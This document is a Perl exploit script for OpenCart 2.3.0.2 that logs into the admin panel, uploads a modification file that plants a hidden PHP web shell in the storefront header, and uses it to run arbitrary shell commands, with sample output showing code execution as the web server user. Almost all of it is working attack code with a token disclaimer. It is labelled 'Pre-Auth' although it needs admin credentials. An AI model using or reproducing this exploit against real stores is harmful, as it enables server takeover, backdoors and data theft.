Share
#!/usr/bin/perl -w  
#  
# Opencart 2.3.0.2 Pre-Auth Remote Command Execution CLI Exploit  
#  
# Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>  
#  
#  
# # [test@localhost opencart]$ perl opencart_rce.pl http://192.168.1.1/oc2302/  
# # [  
# # [ Opencart 2.3.0.2 Pre-Auth Remote Command Execution CLI Exploit  
# # [ ==============================================================  
# # [ Exploit Author: Todor Donev 2019 <todor.donev@gmail.com>  
# # [  
# # [ Disclaimer:  
# # [ This or previous programs are for Educational purpose  
# # [ ONLY. Do not use it without permission. The usual   
# # [ disclaimer applies, especially the fact that Todor Donev  
# # [ is not liable for any damages caused by direct or   
# # [ indirect use of the information or functionality provided  
# # [ by these programs. The author or any Internet provider   
# # [ bears NO responsibility for content or misuse of these   
# # [ programs or any derivatives thereof. By using these programs   
# # [ you accept the fact that any damage (dataloss, system crash,   
# # [ system compromise, etc.) caused by the use of these programs  
# # [ are not Todor Donev's responsibility.  
# # [   
# # [ Use them at your own risk!  
# # [  
# # [ Initializing the browser  
# # [ Authorization..  
# # [ Initializing the payload  
# # [ Uploading the payload  
# # [ Exploiting..  
# # [ Cleaning the temp payload file  
# # [ ==============================================================  
# # uid=48(apache) gid=48(apache) groups=48(apache)  
# # [test@localhost opencart]$   
# #   
#  
#  
# https://www.owasp.org/index.php/Security_by_Design_Principles  
#  
#   
use strict;  
use JSON;  
use HTTP::Request;  
use HTTP::Request::Common;  
use LWP::UserAgent;  
use WWW::UserAgent::Random;  
use HTTP::CookieJar::LWP;  
$| = 1;  
my $host = shift || 'https://localhost/'; # Full path url to the store  
my $user = shift || 'admin';  
my $pass = shift || 'admin';  
my $cmd = shift || 'id';  
$cmd =~ s/\|/\;/g;  
print "[   
[ Opencart 2.3.0.2 Pre-Auth Remote Command Execution CLI Exploit  
[ ==============================================================  
[ Exploit Author: Todor Donev 2019 <todor.donev\@gmail.com>  
[  
[ Disclaimer:  
[ This or previous programs are for Educational purpose  
[ ONLY. Do not use it without permission. The usual   
[ disclaimer applies, especially the fact that Todor Donev  
[ is not liable for any damages caused by direct or   
[ indirect use of the information or functionality provided  
[ by these programs. The author or any Internet provider   
[ bears NO responsibility for content or misuse of these   
[ programs or any derivatives thereof. By using these programs   
[ you accept the fact that any damage (dataloss, system crash,   
[ system compromise, etc.) caused by the use of these programs  
[ are not Todor Donev's responsibility.  
[   
[ Use them at your own risk!  
[  
";  
print "[ e.g. perl $0 https://target/ <username> <password> <command>\n" and exit if ($host !~ m/^http/);  
print "[ Initializing the browser\n";  
my $user_agent = rand_ua("browsers");  
my $jar = HTTP::CookieJar::LWP->new();  
my $browser = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 });  
$browser->timeout(90);  
$browser->cookie_jar($jar);  
$browser->agent($user_agent);  
my $target = $host."admin/index.php?route=common/login";  
my $request = HTTP::Request->new (POST => $target,[Content_Type => "application/x-www-form-urlencoded",Referer => $host],"username=$user&password=$pass&redirect=$target");  
print "[ Authorization..\n";  
# $request->authorization_basic('USERNAME', 'PASSWORD');   
my $content = $browser->request($request) or die "Exploit Failed: $!";  
print "[ 401 Unauthorized!\n" and exit if ($content->code eq '401');  
if (defined ($content->header('Location')) && ($content->header('Location') =~ m/token=(.*)/)){  
my $token = $1;  
my $rce_catch = $host."admin/index.php?route=extension/installer/upload";  
print "[ Initializing the payload\n";  
my $name;  
for (0..18) { $name .= chr( int(rand(25) + 65) ); }  
my $filename = $name.".ocmod.xml";  
undef $name;  
  
my $payload = '<?xml version="1.0" encoding="utf-8"?>  
<modification>  
<name><![CDATA['.$filename.']]></name>  
<code><![CDATA['.$filename.']]></code>  
<version>1.337</version>  
<author></author>  
<link></link>  
  
<file path="catalog/controller/common/header.php">  
<operation>  
<search><![CDATA[// For page specific css]]></search>  
<add position="before"><![CDATA[ if(isset($this->request->post[\'cmd\'])){  
echo "0WNED";  
$cmd = ($this->request->post[\'cmd\']);  
passthru($cmd);  
echo "0WNED";  
$this->db->query("DELETE FROM `" . DB_PREFIX . "modification` WHERE `name` LIKE \''.$filename.'\'");  
}]]></add>  
</operation>  
</file>  
</modification>  
';  
open (TEMP, " > $ENV{PWD}/$filename") or die "[ Error: $ENV{PWD}/$filename $!";  
flock (TEMP, 2);  
truncate (TEMP, 0);  
seek (TEMP, 0, 0);   
print (TEMP $payload);  
close (TEMP);  
my $upload_payload = HTTP::Request::Common::POST($rce_catch."&token=".$token, Content_Type => 'form-data', Referer => $target, Content => [ file => ["$ENV{PWD}/$filename"]]);  
print "[ Uploading the payload\n";   
my $response = $browser->request($upload_payload) or die "[ Exploit Failed: $!";  
  
my $json = JSON->new->pretty;  
  
my $json_object = $json->decode($response->content);  
  
print ("[ Exploit failed! You do not have permission to upload the payload.\n") and exit if ($json_object->{'error'});  
  
print "[ Exploiting..\n";  
  
for my $item( @{$json_object->{step}} ){   
my $xml_inst_request = HTTP::Request->new (POST => $item->{url}, [Content_Type => "application/x-www-form-urlencoded", Referer => $host], "path=".$item->{path});  
my $xml_inst_response = $browser->request($xml_inst_request) or die "[ Exploit Failed: $!";  
print "[ Exploit failed.\n" and exit if ($xml_inst_response->code ne '200');  
}  
my $refresh_url = $host."admin/index.php?route=extension/modification/refresh&redir_inst=1&token=$token";  
my $xml_refresh_request = HTTP::Request->new (GET => $refresh_url,[Content_Type => "application/x-www-form-urlencoded",Referer => $host]);  
$browser->request($xml_refresh_request) or die "[ Exploit Failed: $!";  
my $exploiting = $host."index.php?route=common/home";  
my $exploiting_request = HTTP::Request->new (POST => $exploiting,[Content_Type => "application/x-www-form-urlencoded",Referer => $host],"cmd=$cmd");  
my $command_response = $browser->request($exploiting_request) or die "[ Exploit Failed: $!";  
print "[ Cleaning the temp payload file\n";  
unlink("$ENV{PWD}/$filename") or die "[ Error: $ENV{PWD}/$filename $!";  
if (($command_response->as_string() =~ m/0WNED(.*?)0WNED/gs) ne ''){  
print "[ ==============================================================\n";  
print $1;  
} else {  
print "[ ==============================================================\n";  
print "[ Exploit failed: $cmd: command not found or isn't correct.\n";  
}  
$browser->request($xml_refresh_request) or die "[ Exploit Failed: $!";  
exit;   
  
} else {   
print "[ Exploit failed! You are not authorized. Wrong Username/Password.\n";  
exit;  
}